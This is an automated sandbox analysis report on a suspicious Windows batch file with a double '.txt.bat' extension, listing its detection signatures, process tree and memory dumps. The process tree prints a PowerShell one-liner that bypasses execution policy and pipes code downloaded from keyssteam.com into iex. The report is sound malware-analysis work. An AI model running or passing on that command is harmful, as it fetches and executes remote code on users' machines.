Analysis

  • user interaction
    yes
  • max time kernel
    34s
  • max time network
    35s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/09/2026, 04:26

General

  • Target
    ativar_região.txt.bat
  • Size 216B
  • Sample260924-e2j11syeqe
  • SHA256 44109a2f66ae22141f3bd31caa09774c3e9537e73a735be7affd7b5a89123b83
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ativar_região.txt.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm keyssteam.com/install | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1032
      • C:\Windows\system32\chcp.com
        "C:\Windows\system32\chcp.com" 65001
        3⤵
          PID:1268

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_3prsiqp0.thl.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3prsiqp0.thl.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1032-1-0x000001FD64B90000-0x000001FD64BA0000-memory.dmp

          memory/1032-0-0x000001FD64B90000-0x000001FD64BA0000-memory.dmp

          memory/1032-2-0x000001FD67990000-0x000001FD679B2000-memory.dmp

          memory/1032-10-0x000001FD680E0000-0x000001FD682A2000-memory.dmp

          memory/1032-11-0x000001FD64B90000-0x000001FD64BA0000-memory.dmp

          memory/1032-13-0x000001FD64B90000-0x000001FD64BA0000-memory.dmp

          memory/1032-12-0x000001FD64B90000-0x000001FD64BA0000-memory.dmp

          memory/1032-14-0x000001FD64B90000-0x000001FD64BA0000-memory.dmp